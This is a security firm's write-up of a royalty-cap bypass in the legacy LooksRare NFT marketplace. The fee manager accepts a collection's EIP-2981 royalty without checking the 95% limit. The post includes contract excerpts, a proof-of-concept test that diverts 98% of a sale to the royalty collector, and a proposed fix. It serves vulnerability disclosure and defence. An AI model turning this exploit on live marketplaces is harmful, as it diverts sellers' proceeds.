home
✍🏻

Royalty Fee Limit of NFT Marketplace Bypass via EIP-2981

Article realeased on Dec 14, 2022
Published by Security Researcher Louis

Introduction

NFT Marketplace or NFT contract owner can set the royalty fee of a NFT collection.
The royalty fee is transfered to the NFT contract creator(or owner) when their NFT are traded.
However, the malicious NFT contract can ignore the royalty fee limit in a NFT Marketplace by using EIP-2981.
A NFT Marketplace supports NFT collection trading. Owners who have NFT collections can list their NFT collections. Then, buyers can purchase the listed NFT. Normally, buyers pay royalty fee to NFT contract creater(or owner) via NFT Marketplace.
The royalty fee can be setted by NFT Marketplace or NFT contract owner. The NFT Marketplace supports the NFT contract owners to set the royalty fee. Or the NFT Marketplace can get the default royalty fee of a NFT contract implementing EIP-2981. However, there is a royalty fee limit. Thus, Anyone can’t set the royalty fee over a royalty fee limit.
This article describes how a malicious NFT contract can bypass the royalty fee limit in a NFT Marketplace.

The process of a royalty fee setting

A NFT contract owner sets their default royalty fee when deploying the NFT contract implementing EIP2981.
A marketplace calls the royalty fee of a listed NFT.
Or the NFT contract owner sets their royalty fee in the marketplace.
Or the marketplace(or fee setter) can set the royalty fee of the listed NFT collection.
Suppose a NFT contract is implemented as below. The contract implements EIP-2981. EIP-2981 is NFT royalty standard[1]. It is for retrieve royalty of a NFT each time the NFT is traded in a marketplace.
contract MockERC721WithRoyalty is ERC721, IERC2981 { address public immutable RECEIVER; uint256 public immutable ROYALTY_FEE; uint256 public currentTokenId; constructor( string memory _name, string memory _symbol, uint256 _royaltyFee ) ERC721(_name, _symbol) { ROYALTY_FEE = _royaltyFee; RECEIVER = msg.sender; } function mint(address to) external { _mint(to, currentTokenId); currentTokenId++; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, IERC165) returns (bool) { return interfaceId == 0x2a55205a || super.supportsInterface(interfaceId); } function royaltyInfo(uint256, uint256 salePrice) external view override returns (address receiver, uint256 royaltyAmount) { return (RECEIVER, (ROYALTY_FEE * salePrice) / 10000); } }
JavaScript
The constructor function in MockERC721WithRoyalty.sol sets the fee and an address to receive the fee. And, these are called when the royaltyInfo function is called.
contract RoyaltyFeeManager is IRoyaltyFeeManager, Ownable { // https://eips.ethereum.org/EIPS/eip-2981 ... /** * @notice Calculate royalty fee and get recipient * @param collection address of the NFT contract * @param tokenId tokenId * @param amount amount to transfer * @return receiver * @return royaltyAmount */ function calculateRoyaltyFeeAndGetRecipient(address collection, uint256 tokenId, uint256 amount) external view override returns (address, uint256) { // 1. Check if there is a royalty info in the system (address receiver, uint256 royaltyAmount) = royaltyFeeRegistry.royaltyInfo(collection, amount); // 2. If the receiver is address(0), fee is null, check if it supports the ERC2981 interface if ((receiver == address(0)) || (royaltyAmount == 0)) { if (IERC165(collection).supportsInterface(INTERFACE_ID_ERC2981)) { (receiver, royaltyAmount) = IERC2981(collection).royaltyInfo(tokenId, amount); } } return (receiver, royaltyAmount); } }
JavaScript
So, the Fee Manager of the marketplace calls the calculateRoyaltyFeeandGetRecipient() to get the royalty info. If the marketplace(or the fee setter) does not set the royaltyInfo, It gets the royaltyInfo of the listed NFT.
Or, the marketplace (or the fee setter) can set the royalty fee per a collection. The owner of the RoyaltyFeeSetter calls the updateRoyaltyInfoForCollectionIfSetter, which updates the fee per a collection in the marketplace and who can receive. The fee of the RoyaltyInfo to be updated is checked whether it is over 95% or not. So, the fee under 95% will be setted.
contract RoyaltyFeeSetter is Ownable { ... /** * @notice Update royalty info for collection * @dev Only to be called if there msg.sender is the setter * @param collection address of the NFT contract * @param setter address that sets the receiver * @param receiver receiver for the royalty fee * @param fee fee (500 = 5%, 1,000 = 10%) */ function updateRoyaltyInfoForCollectionIfSetter( address collection, address setter, address receiver, uint256 fee ) external { (address currentSetter, , ) = IRoyaltyFeeRegistry(royaltyFeeRegistry).royaltyFeeInfoCollection(collection); require(msg.sender == currentSetter, "Setter: Not the setter"); IRoyaltyFeeRegistry(royaltyFeeRegistry).updateRoyaltyInfoForCollection(collection, setter, receiver, fee); } }
JavaScript
contract RoyaltyFeeRegistry is IRoyaltyFeeRegistry, Ownable { struct FeeInfo { address setter; address receiver; uint256 fee; } // Limit (if enforced for fee royalty in percentage (10,000 = 100%) uint256 public royaltyFeeLimit; ... constructor(uint256 _royaltyFeeLimit) { require(_royaltyFeeLimit <= 9500, "Owner: Royalty fee limit too high"); royaltyFeeLimit = _royaltyFeeLimit; } ... /** * @notice Update royalty info for collection * @param collection address of the NFT contract * @param setter address that sets the receiver * @param receiver receiver for the royalty fee * @param fee fee (500 = 5%, 1,000 = 10%) */ function updateRoyaltyInfoForCollection( address collection, address setter, address receiver, uint256 fee ) external override onlyOwner { require(fee <= royaltyFeeLimit, "Registry: Royalty fee too high"); _royaltyFeeInfoCollection[collection] = FeeInfo({setter: setter, receiver: receiver, fee: fee}); emit RoyaltyFeeUpdate(collection, setter, receiver, fee); } ... }
JavaScript
Another way is the owner of the NFT contract sets their royalty fee in the marketplace. The contract, RoyaltyFeeSetter supports the owner of NFT contract to set their royalty fee. After, the owner of NFT contract calls updateRoyaltyInfoForCollectionIfOwner() in the RoyaltyFeeSett contract to set their royalty fee. The fee to be updated also checked whether it is over 95% or not in the royaltyFeeRegistry contract.
contract RoyaltyFeeSetter is Ownable { ... /** * @notice Update royalty info for collection if owner * @dev Can only be called by the NFT contract owner * @param collection address of the NFT contract * @param receiver receiver for the royalty fee * @param fee fee (500 = 5%, 1,000 = 10%) */ function updateRoyaltyInfoForCollectionIfOwner(address collection, address receiver, uint256 fee) external { require(msg.sender == Ownable(collection).owner(), "Setter: caller is not the NFT owner"); _updateRoyaltyInfoForCollectionIfOwner(collection, receiver, fee); } ... function _updateRoyaltyInfoForCollectionIfOwner(address collection, address receiver, uint256 fee) internal { require( ( IERC165(collection).supportsInterface(INTERFACE_ID_ERC721) || IERC165(collection).supportsInterface(INTERFACE_ID_ERC1155) ), "Setter: Not ERC721/ERC1155" ); IRoyaltyFeeRegistry(royaltyFeeRegistry).updateRoyaltyInfoForCollection(collection, receiver, fee); } }
JavaScript

Bypass the Royalty Fee Limit using EIP-2981

In the process of a royalty fee setting chapter, we figure out that if the roaylty fee does not be setted in a marketplace, the marketplace will get the default royalty fee implemented by erc2981 in the listed NFT contract. However, it can be used for ignoring the royalty fee limit in the marketplace. The exploit scenario is as below.
The owner of a NFT contract sets the defaul royalty fee over 95%.
The NFT is added to the whitelist of the marketplace.
The marketplace gets the default royalty fee of the added NFT.
Before i described, the NFT contract can set the default royalty fee what the owner wants. Suppose the owner sets the royalty fee to 100%. Then, the traded amount is transfered to the royalty fee recipient. The PoC is as below in the legacy looksrare marketplace. Before trading the NFT, the NFT contract sets the royalty fee 98% over 95%, which is the max royalty fee limit. Before testing, we checked the balance of royaltyCollector has 0 ETH. First, the makerAskUser makes the order his ERC721WithRoyalty with 3 ETH. Then, the takerBidUser creats orders to buy the NFT of the maker. And, he calls the matchAskWithTakerBidUsingETHAndWETH(). As the result, the traded price is transferred to the royaltyCollector except the protocol fee, 2%. That is, 3ETH*0.98 is transferred to the royaltyCollector. We checked the royaltyCollector has all traded price.
describe("#1 - POC", async () => { it.only("ignoring max royalty limit",async function(){ const makerAskUser = accounts[1]; const takerBidUser = accounts[2]; const attacker = accounts[3]; expect(await weth.balanceOf(await royaltyCollector.getAddress())).to.equal(0); await weth.connect(takerBidUser).approve(looksRareExchange.address,constants.MaxUint256); const makerAskOrder: MakerOrderWithSignature = await createMakerOrder({ isOrderAsk: true, signer: makerAskUser.address, collection: mockERC721WithRoyalty.address, price: parseEther("3"), tokenId: constants.Zero, amount: constants.One, strategy: strategyStandardSaleForFixedPrice.address, currency: weth.address, nonce: constants.Zero, startTime: startTimeOrder, endTime: endTimeOrder, minPercentageToAsk: constants.Zero, params: defaultAbiCoder.encode([], []), signerUser: makerAskUser, verifyingContract: looksRareExchange.address, }); const takerBidOrder = createTakerOrder({ isOrderAsk: false, taker: takerBidUser.address, price: parseEther("3"), tokenId: constants.Zero, minPercentageToAsk: constants.Zero, params: defaultAbiCoder.encode([], []), }); const tx = await looksRareExchange .connect(takerBidUser) .matchAskWithTakerBidUsingETHAndWETH(takerBidOrder, makerAskOrder, { value: takerBidOrder.price, }); expect(await weth.balanceOf(await royaltyCollector.getAddress())).to.equal(BigNumber.from(parseEther("3")).mul(98).div(100)); }); });
JavaScript
More precisely, the matchAskWithTakerBidUsingETHAndWETH executes transferring the taker’s eth to the maker in the _transferFeesAndFundsWithWETH. So, the _transferFeesAndFundsWithWETH call the function, calculateRoyaltyFeeAndGetRecipient and get the default royalty fee of the traded NFT over 95%. As the result, the traded price except the protocol fee is transferred to the royaltyCollector at ‘IERC20(WETH).safeTransfer(royaltyFeeRecipient, royaltyFeeAmount);’.
contract LooksRareExchange is ILooksRareExchange, ReentrancyGuard, Ownable { ... /** * @notice Match ask with a taker bid order using ETH * @param takerBid taker bid order * @param makerAsk maker ask order */ function matchAskWithTakerBidUsingETHAndWETH( OrderTypes.TakerOrder calldata takerBid, OrderTypes.MakerOrder calldata makerAsk ) external payable override nonReentrant { require((makerAsk.isOrderAsk) && (!takerBid.isOrderAsk), "Order: Wrong sides"); require(makerAsk.currency == WETH, "Order: Currency must be WETH"); require(msg.sender == takerBid.taker, "Order: Taker must be the sender"); // If not enough ETH to cover the price, use WETH if (takerBid.price > msg.value) { IERC20(WETH).safeTransferFrom(msg.sender, address(this), (takerBid.price - msg.value)); } else { require(takerBid.price == msg.value, "Order: Msg.value too high"); } // Wrap ETH sent to this contract IWETH(WETH).deposit{value: msg.value}(); // Check the maker ask order bytes32 askHash = makerAsk.hash(); _validateOrder(makerAsk, askHash); // Retrieve execution parameters (bool isExecutionValid, uint256 tokenId, uint256 amount) = IExecutionStrategy(makerAsk.strategy) .canExecuteTakerBid(takerBid, makerAsk); require(isExecutionValid, "Strategy: Execution invalid"); // Update maker ask order status to true (prevents replay) _isUserOrderNonceExecutedOrCancelled[makerAsk.signer][makerAsk.nonce] = true; // Execution part 1/2 _transferFeesAndFundsWithWETH( makerAsk.strategy, makerAsk.collection, tokenId, makerAsk.signer, takerBid.price, makerAsk.minPercentageToAsk ); // Execution part 2/2 _transferNonFungibleToken(makerAsk.collection, makerAsk.signer, takerBid.taker, tokenId, amount); emit TakerBid( askHash, makerAsk.nonce, takerBid.taker, makerAsk.signer, makerAsk.strategy, makerAsk.currency, makerAsk.collection, tokenId, amount, takerBid.price ); } ... }
JavaScript
function _transferFeesAndFundsWithWETH( address strategy, address collection, uint256 tokenId, address to, uint256 amount, uint256 minPercentageToAsk ) internal { // Initialize the final amount that is transferred to seller uint256 finalSellerAmount = amount; // 1. Protocol fee { uint256 protocolFeeAmount = _calculateProtocolFee(strategy, amount); // Check if the protocol fee is different than 0 for this strategy if ((protocolFeeRecipient != address(0)) && (protocolFeeAmount != 0)) { IERC20(WETH).safeTransfer(protocolFeeRecipient, protocolFeeAmount); finalSellerAmount -= protocolFeeAmount; } } // 2. Royalty fee { (address royaltyFeeRecipient, uint256 royaltyFeeAmount) = royaltyFeeManager .calculateRoyaltyFeeAndGetRecipient(collection, tokenId, amount); // Check if there is a royalty fee and that it is different to 0 if ((royaltyFeeRecipient != address(0)) && (royaltyFeeAmount != 0)) { IERC20(WETH).safeTransfer(royaltyFeeRecipient, royaltyFeeAmount); finalSellerAmount -= royaltyFeeAmount; emit RoyaltyPayment(collection, tokenId, royaltyFeeRecipient, address(WETH), royaltyFeeAmount); } } require((finalSellerAmount * 10000) >= (minPercentageToAsk * amount), "Fees: Higher than expected"); // 3. Transfer final amount (post-fees) to seller { IERC20(WETH).safeTransfer(to, finalSellerAmount); }
JavaScript

Solution

The problem is that the fee manager does not check the royalty fee, which is over the max royalty limit.
Thus, the issue can be resolved as below. The below contract get the receiver from the NFT contract. After that, it sets the royalty fee to 0.5% for each NFT contracts. As the result, even if the default royalty fee is setted to over 95%, the royalty fee is changed to 0.5% in the marketplace.
contract RoyaltyFeeManagerV1B is IRoyaltyFeeManager { // Interface Id ERC2981 bytes4 public constant INTERFACE_ID_ERC2981 = 0x2a55205a; // Standard royalty fee uint256 public constant STANDARD_ROYALTY_FEE = 50; // Royalty fee registry IRoyaltyFeeRegistry public immutable royaltyFeeRegistry; /** * @notice Constructor * @param _royaltyFeeRegistry Royalty fee registry address */ constructor(address _royaltyFeeRegistry) { royaltyFeeRegistry = IRoyaltyFeeRegistry(_royaltyFeeRegistry); } /** * @notice Calculate royalty fee and get recipient * @param collection address of the NFT contract * @param tokenId tokenId * @param amount amount to transfer */ function calculateRoyaltyFeeAndGetRecipient( address collection, uint256 tokenId, uint256 amount ) external view override returns (address receiver, uint256 royaltyAmount) { // 1. Check if there is a royalty info in the system (receiver, ) = royaltyFeeRegistry.royaltyInfo(collection, amount); // 2. If the receiver is address(0), check if it supports the ERC2981 interface if (receiver == address(0)) { if (IERC2981(collection).supportsInterface(INTERFACE_ID_ERC2981)) { (bool status, bytes memory data) = collection.staticcall( abi.encodeWithSelector(IERC2981.royaltyInfo.selector, tokenId, amount) ); if (status) { (receiver, ) = abi.decode(data, (address, uint256)); } } } // A fixed royalty fee is applied if (receiver != address(0)) { royaltyAmount = (STANDARD_ROYALTY_FEE * amount) / 10000; } } }
JavaScript

Reference

About KALOS
KALOS is a flagship service of HAECHI LABS, the leader of the global blockchain industry. We bring together the best Web2 and Web3 experts. Security Researchers with expertise in cryptography, leaders of the global best hacker team, and blockchain/smart contract experts are responsible for securing your Web3 service.
We have secured over $60b worth of crypto assets across 400+ global crypto projects — L1/L2 projects, defi protocols, P2E games, and bridges — notably 1inch, SushiSwap, Badger DAO, SuperRare, Klaytn and Chainsafe. KALOS is the only blockchain technology company selected for the Samsung Electronics Startup Incubation Program in recognition of our expertise. We have also received technology grants from the Ethereum Foundation and Ethereum Community Fund.
Secure your smart contracts with KALOS.
Email: audit@kalos.xyz
Official website: https://kalos.xyz